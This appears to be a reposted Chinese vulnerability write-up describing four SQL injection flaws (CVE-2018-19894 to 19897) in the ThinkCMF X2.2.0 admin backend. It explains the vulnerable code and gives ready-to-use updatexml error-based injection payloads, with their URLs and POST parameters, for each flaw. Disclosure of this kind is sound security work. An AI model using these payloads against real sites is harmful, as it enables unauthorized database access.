ThinkCMF X2.2.0多处SQL注入漏洞

0x00:漏洞概述
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。
ThinkPHP框架规则参考: https://www.cnblogs.com/czx521/p/6536954.html
参考链接:https://anquan.baidu.com/article/490

0x01:漏洞测试
测试版本 Thinkcmf x2.2.0,参考链接中的版本为 x2.2.2
该漏洞存在于后台页面
(1)CommentadminController.class.php check、delete方法SQL注入(CVE-2018-19894)
漏洞位于/application/Comment/Controller/CommentadminController.class.php的check、delete方法, 以56行为例,$_POST['ids']参数通过join后,传递到where语句中,但并没有使用where语句的in方法,而是直接拼接到SQL语句中,导致SQL注入。

测试Pyload为
http://192.168.1.117/cmfx-X2.x.x/index.php?g=Comment&m=commentadmin&a=check&check=1
POST提交参数: ids[]=1&ids[]=2 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

(2)NavController.class.php中edit_post方法SQL注入(CVE-2018-19895)
跟进'application/Admin/Controller/NavController.class.php',在文件的186行。'$parentid'直接由'$_POST['parentid']'传递进来,随后被直接拼接到where语句中。

测试Payload为
http://192.168.1.117/cmfx-X2.x.x/index.php?g=Admin&m=nav&a=edit_post
POST提交参数: parentid=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

(3)SlideController.class.php delete方法SQL注入(CVE-2018-19896)
在application/Admin/Controller/SlideController.class.php的83行,delete方法中,$_POST['ids']通过implode方法变成字符串,随后直接拼接进入where语句的in子句中。

测试payload:
http://127.0.0.1/cmfx/index.php?g=Admin&m=slide&a=delete
POST: ids[]=1&ids[]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)

(4)AdminbaseController.class.php中_listorders方法存在SQL注入(CVE-2018-19897)
_listorders方法用于排序,在很多地方被调用。这里以LinkController.class.php中的listorders()为例进行分析,这里主要用做友情链接的排序。
测试payload为:
http://192.168.1.117/cmfx-X2.x.x/index.php?g=Admin&m=Link&a=listorders
POST: listorders[key][0]=exp&listorders[key][1]=0 and updatexml(1, concat(0x7e,database(),0x7e),1)

原文地址:https://www.cnblogs.com/liqik/p/12617725.html